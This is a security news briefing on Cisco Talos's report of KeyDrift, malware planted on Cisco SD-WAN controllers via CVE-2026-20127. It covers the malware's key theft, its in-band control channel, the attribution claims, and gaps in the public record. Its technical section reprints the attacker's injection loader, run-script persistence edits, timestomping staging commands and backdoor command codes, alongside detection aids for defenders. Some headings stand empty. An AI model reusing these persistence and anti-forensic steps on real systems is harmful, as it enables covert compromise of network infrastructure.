Cisco Talos says UAT-11473 used CVE-2026-20127 to plant KeyDrift, malware built to collect Cisco SD-WAN keys

245 days, 30 Snort rules and no file hash

Cisco Talos published its analysis of KeyDrift, a malware framework it says an actor it tracks as UAT-11473 installed on Cisco Catalyst SD-WAN controllers after exploiting CVE-2026-20127, at 21:32 UTC on Wednesday 28 October 2026 by the page's own data (the page shows 17:32, US Eastern time). That is 245 days after Cisco published the CVE on 25 February 2026, and 243 days after the due date CISA set for US federal agencies to patch it (both derived from the CVE record and CISA's catalogue). The report lists Snort rule IDs 67387 through 67416 for the malware, which is 30 rules (derived), and the same number again for Snort 3. It prints no file hash, no IP address and no domain.

What that does not establish. The 245 days is the gap between two publications. It is not how long KeyDrift sat on any controller, because Talos gives no date for any intrusion: its title calls the activity "historical" and the text says no more. It names no victim and gives no count of victims or controllers, only three sectors. It does not say how the actor got from the account the CVE grants to the root level access its file changes appear to need. It does not say UAT-11473 is Volt Typhoon. It says, with high confidence, that the group's "operating infrastructure overlaps considerably" with the network Lumen calls Silent Train. And the missing hashes are only partly explained: Talos says no hardcoded addresses, ports, domains or URLs were recovered from the PolyFlame samples it analysed, but it says nothing about why no file hashes are given.

This briefing reads the Talos post in full, first fetched at 11:19 UTC on Thursday 29 October 2026 and read again before filing, with its five figures saved. SecurityWeek's report was read for what it adds. The Hacker News answered with a browser challenge and was not read. The CVE record, NVD's record, CISA's catalogue feed, Emergency Directive 26-03 and CISA's hunt and hardening guidance were read directly. Cisco's own advisory page for the flaw redirected to a Cisco sign in, so it was not read and no fixed release is taken from it.

Talos is Cisco's own threat intelligence unit, writing about malware on a Cisco product through a Cisco flaw, and it closes by pointing readers to Cisco's support centre and Cisco's own detection products. That is not a reason to doubt the analysis, which is unusually specific. It is a reason to notice that the parts a customer could check without Cisco, such as hashes and dates, are the parts left out.

What KeyDrift is: eight parts inside the controller's own processes

Talos describes KeyDrift as "a custom malware framework that is designed to operate in Cisco SD-WAN controller environments". It does not run as a separate program calling home. It is injected into vdaemon, the controller daemon that handles the SD-WAN control plane, so it sees control traffic after decryption and can be tasked through that traffic. Talos's components table lists eight parts, set out below in its own terms. The SD-WAN roles it names are the vSmart controller (now Catalyst SD-WAN Controller) and the vBond orchestrator (now Catalyst SD-WAN Validator).

Zoom

Persistence is the most checkable part. Cisco SD-WAN controllers start their services through runit, a small service supervisor, and each service has a run script. Talos says the actor edited the sshd run script to add two lines before the real sshd starts: one remounts /rootfs.rw so files in it can be executed, and one starts conf_sshd in the background. Everything else in the script is the normal Cisco startup logic, so the service still starts and still looks like sshd. Talos's Figure 2 shows the two added lines in red.

Zoom

On an affected vBond, Talos found a second route. The legitimate Cisco aaamgr component "is a Python package", it says, and "does not normally appear as a compiled ELF runit service". The actor placed a packed program named aaamgrd under the aaamgr service directory and added lines to its run script to launch it. Talos describes the program as statically linked, with an RC4 encrypted PolyFlame payload inside, and says it exits if it detects a debugger. Talos also printed the commands it recovered for staging this variant. They copy the read only original run script into the writable overlay, insert two lines into it with sed, and then use touch and chmod with --reference to give the new files the timestamps and permissions of the originals. Talos lists that as timestomping, and it is the reason a file's date on these controllers proves nothing on its own.

Zoom

What it collects: the keys the controller hands out

LittleFilch is the collector. Talos says it hooks SSL_read inside vdaemon, lets the real function decrypt the data, and then looks only at buffers longer than 0x18F bytes (399, derived) whose first decrypted byte is 0x07 and which contain three marker patterns. Behind the markers it keeps three fields: an edge router's public or transport IP address, its system IP in OMP (the Overlay Management Protocol that controllers use to send routes and keys to edge routers), and a 32 byte binary key field. Talos labels the last one "Assessed" as "OMP-distributed AES-256 IPsec data-plane key material". Thirty two bytes is 256 bits (derived), which fits an AES-256 key, but Talos's own word is assessed, not confirmed.

The records are RSA encrypted and written to /var/tmp/vdaemon.bin, and LittleFilch can send them over UDP "in a DTLS 1.2 application-data style record", which would look like the controller's normal control traffic to anyone not looking closely. Where it sends them is set by /var/tmp/vdaemon.conf, which LittleFilch deletes after reading. Talos says it "has not been able to recover" that file. So the destination of the keys, if any were sent, is not in the report. Talos also says LittleFilch collects keying material "for a list of predefined edge nodes". That implies the actor knew which edge routers it wanted before it installed the module (our inference). Talos does not say which, or how many.

Why the controller has the keys at all is set out in CISA's own hardening guidance from February. In Cisco's default "traditional key exchange", CISA says, the SD-WAN Controller "send IPsec encryption keys to each edge device". CISA recommends pairwise keys instead and calls them "more secure and preferred". Neither CISA nor Talos says whether pairwise keys would have kept LittleFilch from reading usable keys, and this briefing does not claim it. What can be said is that the controller is where the default design puts the keys, and that is the process KeyDrift sits in.

How PolyFlame takes orders without calling home

PolyFlame is the access half of KeyDrift. Talos says it hooks recvfrom, the system call vdaemon uses to receive network data, so the operator's messages can ride inside the controller's own control traffic. Talos found no fixed C2 address in the samples and calls PolyFlame "designed for in-band control or tasking over Cisco SD-WAN control-plane traffic rather than a conventional fixed external beacon". For a defender, that means the usual hunt for a beacon to an unknown host has nothing to match.

Each message starts with a check. The operator sends the MD5 hash of a date, and PolyFlame hashes the device's own date in year, month, day form. If the two differ, it stops. If they match, it reads an administrative code: 1 sends random bytes back, which Talos reads as a likely heartbeat; 2 sets the implant to be either a backdoor or an intermediate C2; 3 sets up the relay handler. As a backdoor it can run a command through /bin/sh, write a file and read a file back, which Talos says matches the TinyShell backdoor's capabilities with different codes, but "not interactive shell". As an intermediate C2 it connects to peers chosen by the operator, passes data both ways and drops them, "one-to-many" in Talos's words. Talos does not identify any peer.

Zoom

The relay mode matters for what a controller is. A controller talks to every edge router in the fabric by design. An implant on it that can open connections to chosen peers and pass traffic for an operator is a relay sitting in the one place every site already trusts. That is our reading of the design. Talos does not report the relay being used against any particular peer.

Volt Typhoon: who says what

The headline that spread the story says the exploitation was "Tied to Volt Typhoon's 'Silent Train' Network". The record behind it is narrower, and it comes from two companies writing separately on the same day.

So the chain is this. Talos says one group's infrastructure overlaps with a network. Lumen says another group, Volt Typhoon, used that network and exploited the same flaw. Neither company joins the two groups, and an overlap in rented or compromised relays is the kind of link a shared relay network would produce even between different operators (our inference). The safe reading is that two companies saw activity against the same Cisco flaw through overlapping infrastructure in the same period. That UAT-11473 is Volt Typhoon is not stated by either. Lumen's report is covered in this site's briefing on Silent Train, and is not repeated here.

The targeting Talos gives is three sectors: "space and satellite services, defense and aerospace technology, and policy research". Lumen's list of Silent Train victims also includes satellite and defence sectors, which is consistent with the overlap but is not evidence of the same operator. Talos names no country, and no victim count.

Stated and not stated

"Not stated" means not found in the Talos post, read in full twice. It does not mean Talos does not know.

The public record on CVE-2026-20127, and the step it leaves out

The CVE record, published by Cisco on 25 February 2026, describes a flaw in "peering authentication" in the Catalyst SD-WAN Controller, Manager and Validator, formerly vSmart, vManage and vBond. An unauthenticated remote attacker could "log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account" and reach NETCONF to change the fabric's configuration. Cisco scored it 10.0 under CVSS 3.1, and NVD's own analysis gives the same score. CISA added it to its Known Exploited Vulnerabilities catalogue the same day with a due date of 27 February, two days (derived), and issued Emergency Directive 26-03.

The missing step. The CVE gives a non root account. KeyDrift's persistence edits files under /rootfs.rw, remounts it with execute rights, and injects code into a running system daemon with ptrace. Those are actions that ordinarily need root (our inference; Talos does not say what privilege it ran with). Talos does not say how UAT-11473 got there. CISA's directive pairs CVE-2026-20127 with CVE-2022-20775, a path traversal flaw it says lets an authenticated local attacker "execute arbitrary commands as root", and both are in the catalogue with the same dates. Whether this actor used it is not stated by anyone read here.

Fixed releases. Cisco's advisory, the authority on fixed releases, could not be read because it requires a sign in. The CVE record's affected list holds 335 version strings, all under the product name Catalyst SD-WAN Manager, and gives no fixed release. NVD's analysis, which is NVD's and not Cisco's, marks as vulnerable versions before 20.9.8.2, from 20.11 before 20.12.5.3, from 20.13 before 20.15.4.2 and from 20.16 before 20.18.2.1, plus 20.12.6 by name, for the Manager, the vSmart controller and the vBond orchestrator alike. That 20.12.6 is listed as vulnerable above the 20.12.5.3 boundary is not explained in the record. Use Cisco's advisory, signed in, for the release to install.

One more gap sits in the scope. Talos's evidence for the aaamgrd variant came from "an affected vBond appliance". The CVE description covers the Validator, formerly vBond. But CISA's catalogue entry is titled "Controller and Manager", and Emergency Directive 26-03 names the Manager and the Controller as the products in scope, even though its rebuild instruction covers fresh vManage, vSmart and vBond instances. An inventory built from the catalogue title alone would miss the box where Talos found one of the two loaders (our inference).

Zoom

Two more dates matter for scoping a hunt. CISA's hunt guidance says "malicious activity likely began in 2023", citing recent reporting, and asks organisations to scope hunts accordingly. And the guidance says the threat actor "consistently applied defense evasion techniques", including clearing logs and preventing log forwarding. This site covered later Cisco SD-WAN Manager attacks in a briefing on the September advisory.

Four labels that sound like controls

Method is separate from accusation. Talos's method, reverse engineering recovered samples and printing what each part does, is specific and checkable in the parts it prints. The accusation, that this group is linked to a named state actor, rests on infrastructure overlap stated without detail, and was made firmer in the retelling than in the source.

Technical details

Talos prints no file hashes, no IP addresses and no domains, and says no hardcoded network indicators were recovered from PolyFlame. What it does print is below: file paths, the script text in its figures, the command codes, the LittleFilch filter, the ATT&CK mapping and the Snort rule IDs. Each block is attributed to its source and the day it was read. The figure blocks are this site's transcriptions of Talos's code screenshots, checked against the saved images. None of this is exploit code: it is what was found on compromised controllers, printed so defenders can look for it.

Talos's Figure 1, the loader logic of conf_sshd. It writes every vdaemon process id to /tmp/system-vdaemon and asks rsshd to inject libdssl.so into each. A file at that path on a controller is worth an incident ticket.

PROCESS_NAME="vdaemon"
RECORD_FILE="/tmp/system-vdaemon"

for pid in $(pgrep $PROCESS_NAME); do
   echo $pid >> $RECORD_FILE
   rsshd -p $pid -l /rootfs.rw/etc/sv/sshd/libdssl.so >> $RECORD_FILE
done

The two lines Talos highlights in the sshd run script (Figure 2), with the comment line above and the normal line below for context. Compare the run scripts on the writable overlay with the read only originals; a remount with exec before a service starts is the thing to find.

# Set process attributes
mount -o remount,exec /rootfs.rw
nohup /rootfs.rw/etc/sv/sshd/conf_sshd > /dev/null 2>&1 &
mkdir -p /var/run/sshd

The aaamgr run launcher recovered from an affected vBond (Figure 3), from the PAM lines onward. Talos says the PAM file deletions are part of the legitimate script and the remount and aaamgrd lines are the additions, which are the lines in red in its figure. Talos's caption spells the name "aamgrd"; the text and the figure say aaamgrd.

#Remove old pam.d config
rm -f /rootfs.rw/etc/pam.d/sshd
rm -f /rootfs.rw/etc/pam.d/login

mount -o remount,exec /rootfs.rw
/rootfs.rw/etc/sv/aaamgr/aaamgrd 2>&1 > /dev/null
pidfile "$SERVICE" "$PIDFILE"

sv up "$SERVICE"/log

exec 2>&1
exec /usr/bin/python3 /usr/sbin/aaad

The operator staging sequence for the aaamgrd variant (Figure 4), in full. The touch and chmod --reference lines are the timestomping: a hunt that sorts files by date will not see these files as new.

ps -ef | grep aaamgr
ls -al /tmp/
mkdir -p /rootfs.rw/etc/sv/aaamgr
cp /rootfs.ro/etc/sv/aaamgr/run /rootfs.rw/etc/sv/aaamgr/run
mv /tmp/aaamgrd /rootfs.rw/etc/sv/aaamgr/aaamgrd
cat -n /rootfs.rw/etc/sv/aaamgr/run
sed -i '12 a mount -o remount,exec /rootfs.rw' /rootfs.rw/etc/sv/aaamgr/run
sed -i '13 a /rootfs.rw/etc/sv/aaamgr/aaamgrd 2>&1 > /dev/null' /rootfs.rw/etc/sv/aaamgr/run
chmod +x /rootfs.rw/etc/sv/aaamgr/aaamgrd
chmod --reference=/rootfs.ro/etc/sv/aaamgr/run /rootfs.rw/etc/sv/aaamgr/run
touch  --reference=/rootfs.ro/etc/sv/aaamgr/run /rootfs.rw/etc/sv/aaamgr/run
chmod --reference=/rootfs.ro/etc/sv/aaamgr/run /rootfs.rw/etc/sv/aaamgr/aaamgrd
touch  --reference=/rootfs.ro/etc/sv/aaamgr/run /rootfs.rw/etc/sv/aaamgr/aaamgrd
touch  --reference=/rootfs.ro/etc/sv/aaamgr    /rootfs.rw/etc/sv/aaamgr
mount -o remount,exec /rootfs.rw
/rootfs.rw/etc/sv/aaamgr/aaamgrd 2>&1 > /dev/null

The record format LittleFilch writes before RSA encryption (Figure 5). The example date is Talos's illustration; 1 May 2026 was a Friday (derived), so it is not a recovered timestamp.

[date time ] <Pub_IP> <System_IP> <key bytes in hex representation>

where the date time format is:
[day mon date H:M:S UTC Y]
For example : [Tue May 01 04:20:24 UTC 2026]

Every file path and file name Talos prints, gathered by this site into one list with Talos's description beside each. Search for these on Managers, Controllers and Validators, on the live system and in any disk image.

/rootfs.rw/etc/sv/sshd/libdssl.so        PolyFlame shared object, injected into vdaemon
/rootfs.rw/etc/sv/sshd/conf_sshd         loader script started from the sshd run script
/tmp/system-vdaemon                      vdaemon PIDs and injection output
/rootfs.rw/etc/sv/aaamgr/aaamgrd         packed PolyFlame loader (vBond)
/rootfs.rw/etc/sv/aaamgr/run             modified run launcher
/tmp/aaamgrd                             staging location before the move
/var/tmp/vdaemon.bin                     RSA encrypted LittleFilch records
/var/tmp/vdaemon.conf                    UDP endpoint config, deleted after read
rsshd                                    ptrace injector (path not printed)
libcommon.so                             LittleFilch module (path not printed)

The command codes and the LittleFilch filter as Talos prints them. They describe network messages inside control traffic; they are what a Snort or packet rule would key on, and Talos has written such rules.

PolyFlame administrative codes
Code = 1: Generate random bytes and send to C2. This is likely a check-in beacon or heartbeat for the C2.
Code = 2: Set implant type to backdoor (TinyShell) or intermediate C2.
Code = 3: Set up the command handler for the intermediate C2.

PolyFlame backdoor codes
Code = 0x100: Execute command using "/bin/sh -c <command>"
Code = 0x200: Write file to disk.
Code = 0x300: Read file from disk and send to the C2.

PolyFlame intermediate C2 codes
Code = 0x403: Create a thread to connect to the specified peer IP. Make a new connection and keep socket alive until specified.
Code = 0x404: Send data recvd from the C2 to a connected peer.
Code = 0x405: Remove a peer from the list of active connections.
Code = 0x407: Send a response recvd from a peer, back to the C2.
Code = 0x408: Set a specific value in memory.

LittleFilch buffer filter
returned size greater than 0x18F, first decrypted byte 0x07, three marker patterns present
40 03 06        Public IP           4 bytes        vEdge public / transport IP
40 0C 04        Peer system-IP      4 bytes        vEdge OMP system-IP
05 01 0C 06 40  Binary key field    32 (0x20) bytes  Assessed OMP-distributed AES-256 IPsec data-plane key material

Snort SIDs are already available for CVE-2026-20127: 65938, 65958.
Snort SIDs for the malicious artifacts illustrated in this blog:
Snort v2: 67387 through 67416
Snort v3: 7:44 through 7:73

T1055.008  Process Injection: Ptrace System Calls       rsshd injects libdssl.so into vdaemon by PID
T1574.006  Hijack Execution Flow: Dynamic Linker Hijacking   PolyFlame uses dlsym(RTLD_NEXT, ...), dlopen, and runtime interposition
T1037      Boot or Logon Initialization Scripts          Modified runit service scripts launch KeyDrift components
T1543      Create or Modify System Process               Malicious service paths under etc/sv/sshd/ and etc/sv/aaamgr/
T1036.004  Masquerade Task or Service                    sshd and aaamgr service-name masquerading
T1059.004  Unix Shell                                    conf_sshd and recovered operator staging commands
T1027.002  Software Packing                              aaamgrd uses packed embedded ELF payload
T1497.001  System Checks                                 aaamgrd checks TracerPid before unpacking
T1070.006  Timestomp                                     touch --reference= and chmod --reference= staging commands copied reference file metadata
T1040      Network Sniffing                              PolyFlame and LittleFilch intercept SD-WAN control-plane traffic
T1573.001  Encrypted Channel: Symmetric Cryptography     PolyFlame AES implementation; aaamgrd RC4 packer; LittleFilch RSA-encrypted records

CISA's hunt guidance predates the Talos report and was written for the February activity, not for KeyDrift. These four items are the ones that bear most directly on what Talos describes: rogue peers, root logins, cleared history and the key exchange setting.

C. Identify Rogue Peering, Method 1
Select 'control-connection-state-change' events where peer-type:'vhub' as observed, OR peer-type appears as a low-frequency outlier, especially with new-state:up and uptime '0:00:00:00'

E. Identify Root SSH and Root Login Anomalies, Method 1
Search auth logs for 'Accepted publickey for root' entries
Confirm presence/changes in /home/root/.ssh/authorized_keys
Corroborate with /etc/ssh/sshd_config 'PermitRootLogin yes'.

F. Review Log Clearing, Method 2
Review /home/<user>/.bash_history for 0/1/2-byte files, especially where timestamps for /.bash_history modifications align with malicious activity

Hardening, Data Plane Security
Organizations should create and install pairwise keys to ensure secure communication between the Cisco SD-WAN Controller and edge devices.

CVE-2026-20127  CVE.org record, assigner cisco
  dateReserved 2025-10-08T11:59:15.379Z
  datePublished 2026-02-25T16:14:20.137Z
  dateUpdated 2026-06-16T17:57:59.054Z
  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H  baseScore 10  (Cisco)
  CWE-287 Improper Authentication
  affected: Cisco Catalyst SD-WAN Manager, 335 version strings, no fixed version field

NVD analysis (configurations), cisco catalyst_sd-wan_manager, sd-wan_vbond_orchestrator, sd-wan_vsmart_controller
  versionEndExcluding 20.9.8.2
  versionStartIncluding 20.11   versionEndExcluding 20.12.5.3
  versionStartIncluding 20.13   versionEndExcluding 20.15.4.2
  versionStartIncluding 20.16   versionEndExcluding 20.18.2.1
  20.12.6 (listed by version)

CISA KEV feed, catalogVersion 2026.10.28
  cveID CVE-2026-20127 | product Catalyst SD-WAN Controller and Manager | dateAdded 2026-02-25 | dueDate 2026-02-27
  cveID CVE-2022-20775 | product SD-WAN | dateAdded 2026-02-25 | dueDate 2026-02-27

Not printed in any source read: file hashes for libdssl.so, libcommon.so, rsshd or aaamgrd; any IP address or domain; YARA rules; the contents of vdaemon.conf; the list of predefined edge nodes; and the text of the Snort rules themselves.

What to do, in the order worth doing it

Each step follows from what Talos or CISA prints. None needs a hash, which is as well, because none was given.

What could not be verified

• Cisco's advisory for CVE-2026-20127 redirected to a Cisco sign in and was not read. No fixed release in this briefing comes from it; the version boundaries shown are NVD's analysis and are labelled so.
• The Hacker News report answered with a browser challenge and was not read. Nothing here relies on it.
• Dates. Talos dates nothing. When KeyDrift was installed, found or removed is not in any source read.
• The key assessment. That the 32 byte field is AES-256 IPsec key material is Talos's assessment, not a confirmed finding, and whether keys left any network is not stated.
• Attribution. The infrastructure overlap with Silent Train is Talos's high confidence assessment with no detail given. No government statement on UAT-11473 was found.
• Route to root. How the actor moved from the CVE's non root account to the root level changes is not stated. The pairing with CVE-2022-20775 is CISA's for the February activity, not a finding about this actor.
• Time stamp. Sources were read from 11:19 UTC on 29 October 2026. Talos may add indicators, or Cisco may update its advisory, after that.

The question that exposes the gap

Key facts